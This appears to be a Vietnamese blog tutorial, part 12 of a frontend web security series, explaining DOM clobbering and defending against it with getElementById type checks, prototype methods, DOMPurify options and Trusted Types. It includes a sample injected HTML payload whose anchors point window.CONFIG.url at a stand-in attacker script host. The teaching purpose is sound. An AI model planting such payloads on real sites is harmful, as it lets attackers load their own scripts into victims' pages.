jvinhit//lab

Search posts

Type to search across journal entries.

navigate open esc close

Web Security for Frontend Devs · Part 12 — DOM Clobbering

Advanced track: how injected id/name attributes overwrite the globals your JavaScript trusts — no script needed — why a script-blocking CSP does not stop it, and how to defend. With a live demo and exercises.

Phần 12 — Nhánh nâng cao trong series Web Security for Frontend Devs. Trước: Tiếp:

Phần 11 cho thấy một tấn công không cần script làm hỏng mặc định của object. DOM clobbering là anh em của nó phía DOM: HTML kẻ tấn công không chứa JavaScript vẫn ghi đè biến global và property mà code bạn đọc — chỉ qua thuộc tính idname. Đây là tấn công dùng khi inject được nhưng CSP nghiêm đã đóng cửa với <script>.


Tính năng trình duyệt bị lạm dụng

Vì tương thích cũ, trình duyệt phơi các phần tử DOM có tên thành property:

  • Phần tử id="foo" truy cập được qua window.foo.
  • Control form có name="bar" truy cập qua form.bar.
  • Nhiều phần tử cùng tên tạo HTMLCollection, và tên lồng nhau nối chuỗi: window.x.y trỏ tới một phần tử.
<!-- harmless-looking HTML, zero scripts -->
<a id="config"></a>
window.config; // → the <a> element, not undefined

Đây là truy cập property theo tên. Nó thành lỗ hổng khi code bạn đọc một global/property mà bạn cho rằng hoặc là giá trị của bạn hoặc undefined, và kẻ tấn công inject được phần tử ghi đè nó.

injected HTML — no <script> <a id="CONFIG" name="url" href="//evil"> window.CONFIG now points at the <a> element if (window.CONFIG) { loadScript(CONFIG.url) // //evil fix getElementById + instanceof check; sanitize id/name CSP that blocks scripts does NOT stop DOM clobbering — it is pure HTML
DOM clobbering: injected HTML names (no <script>) overwrite a global lookup, redirecting trusted code

Một mẫu lỗ hổng thực tế

Thành ngữ phổ biến: đọc global config tùy chọn rồi fallback mặc định.

<!-- the app expects this global to be set by a trusted inline script, or be absent -->
<script>
  // window.CONFIG may be defined by the server; otherwise undefined
</script>
// ❌ VULNERABLE — trusts a global that the DOM can fabricate
const endpoint = (window.CONFIG && window.CONFIG.url) || '/api/default';
loadScript(endpoint);

Giả sử trang render HTML do người dùng chi phối mà sanitizer cho phép id/name — phổ biến vì trông vô hại. Kẻ tấn công inject:

<a id="CONFIG"></a>
<a id="CONFIG" name="url" href="https://evil.example/x.js"></a>

Giờ window.CONFIGHTMLCollection, window.CONFIG.url là anchor thứ hai. Vì anchor stringify thành href, code nối chuỗi hoặc đưa vào loadScript bị lái tới URL kẻ tấn công — không cần thẻ script nào.

Mô hình tư duy: DOM clobbering biến không gian tên thành bề mặt tấn công. Kẻ tấn công không chạy code — họ đổi tên đồ đạc để code tin cậy của bạn cầm nhầm object.


Vì sao CSP không cứu bạn ở đây

CSP nghiêm từ Phần 3 chặn script inline và bên thứ ba. DOM clobbering không gửi script — chỉ <a>, <form>, <input>, <img> kèm id/name. Hiệu ứng độc do tính năng truy cập theo tên của trình duyệt tạo ra trên markup vô hại, nên script-src của CSP không liên quan. Đây chính là lý do nó là primitive vượt CSP ưa thích.


Thử ngay — sân chơi DOM clobbering

Inject các đoạn HTML và xem window.CONFIG, tra cứu field form, và kiểm “đây có phải phần tử của tôi?” phản ứng thế nào — rồi bật các cách đọc đã vá và thấy tấn công thất bại.

Mở demo đầy đủ:


Phòng thủ

Phòng thủ 1 — đừng đọc global bạn không định nghĩa rõ

Lấy config từ nơi DOM không thể bịa: export module, const có kiểu, hay một JSON bạn parse — không phải window.SOMETHING.

// ✅ config lives in a module, not on window
import { config } from './config.js';
loadScript(config.url);

Phòng thủ 2 — lấy phần tử bằng document.getElementById + instanceof

Nếu phải tra theo id, dùng API rõ ràng và kiểm kiểu — tên bị clobber thường không phải kiểu bạn mong, hoặc là HTMLCollection:

// ✅ explicit lookup + type guard
const el = document.getElementById('config');
if (el instanceof HTMLScriptElement) {
  // safe to read el.src / el.dataset
}

getElementById luôn trả Element | null, không bao giờ HTMLCollection, loại bỏ mẹo nối chuỗi window.x.y.

Phòng thủ 3 — phòng truthy và method prototype

Clobbering còn ghi đè property/method mong đợi trên object truy cập theo tên. Khi đọc từ form hay scope có tên, ưu tiên method DOM không che được:

// ❌ form.submit might be an <input name="submit"> element, not the method
form.submit();

// ✅ borrow the real method
HTMLFormElement.prototype.submit.call(form);

Ý tương tự cho form.length, form.id… — field name="length" ghi đè property.

Phòng thủ 4 — sanitize với allow-list nghiêm (cân nhắc bỏ id/name)

Fix thực cho HTML bị inject giống Phần 2: sanitize. DOMPurify có phòng vệ SANITIZE_DOM, và quan trọng hơn, bạn có thể cấm các thuộc tính cho phép clobbering khi nội dung không cần:

import DOMPurify from 'dompurify';

// SANITIZE_DOM (on by default) blocks clobbering of existing document props;
// dropping id/name removes the named-access surface entirely.
const clean = DOMPurify.sanitize(dirty, {
  SANITIZE_NAMED_PROPS: true, // namespaces id/name so they can't clobber
  FORBID_ATTR: ['id', 'name'], // strongest if your content doesn't need them
});
container.innerHTML = clean;

SANITIZE_NAMED_PROPS thêm tiền tố cho id/name để không còn va chạm property thật; FORBID_ATTR gỡ hẳn.

Phòng thủ 5 — Trusted Types làm lớp chặn

Như Phần 2, đưa mọi sink HTML qua policy Trusted Types đã audit nghĩa là chuỗi inject thô không tới được innerHTML chưa sanitize.


Checklist phòng tránh

  1. Coi tra cứu window.X / document.Xkhông tin cậy nếu có HTML inject vào trang.
  2. Đọc config từ module / JSON parse, không phải global theo tên.
  3. Lấy phần tử bằng getElementById + instanceof.
  4. Gọi method DOM qua Prototype.method.call(el) khi object đến từ scope có tên.
  5. Sanitize HTML inject; bật SANITIZE_NAMED_PROPS hoặc cấm id/name.
  6. Nhớ: script-src của CSP không chặn clobbering — đây là HTML thuần.

Bài tập / Exercises

1. Vì sao getElementById('user') chống clobbering tốt hơn window.user?

Lời giải

getElementById trả Element | null qua API rõ ràng, ổn định kiểu — không bao giờ trả HTMLCollection nối chuỗi mà window.user.something lạm dụng, và không bị một global khác che. Vẫn nên thêm kiểm instanceof trước khi dùng property riêng của phần tử.

2. Với form trên, gì hỏng khi JS gọi loginForm.submit() và sửa thế nào?

Lời giải

loginForm.submit giờ là phần tử <input name="submit">, không phải method submit(), nên gọi sẽ ném “not a function”. Sửa bằng mượn method thật: HTMLFormElement.prototype.submit.call(loginForm).

3. Sanitizer giữ id/name vì designer dùng anchor <h2 id="intro">. Làm sao giữ anchor trong trang mà vẫn diệt bề mặt clobbering?

Lời giải

Bật SANITIZE_NAMED_PROPS của DOMPurify, nó thêm tiền tố cho id/name của user nên anchor vẫn hoạt động trong fragment mà không còn va chạm tên window.* / property code bạn đọc. Hoặc dùng cơ chế khác cho anchor và cấm id/name.

Nâng cao:Trong demo, clobber window.CONFIG.url tới URL kẻ tấn công bằng hai anchor, rồi đổi reader sang getElementById + instanceof và xác nhận hijack thất bại.


Điểm chính

  • ghi đè global/property qua thuộc tính id/name inject — không cần script.
  • Lạm dụng truy cập property theo tên của trình duyệt.
  • script-src của CSP không chặn — nên nó là primitive vượt CSP.
  • Phòng bằng không tin global theo tên, dùng getElementById + instanceof, mượn method prototype, sanitize id/name.
  • Cùng Phần 11, hai tấn công không cần script này hoàn thiện bức tranh: trình duyệt sẽ tin mặc địnhtên trừ khi code bạn rõ ràng.

Tiếp theo

Phần 13 — Strict CSP & CSP Bypasses: vì sao CSP allowlist host hầu hết team ship bị vượt — và dạng nonce + 'strict-dynamic' thực sự trụ được.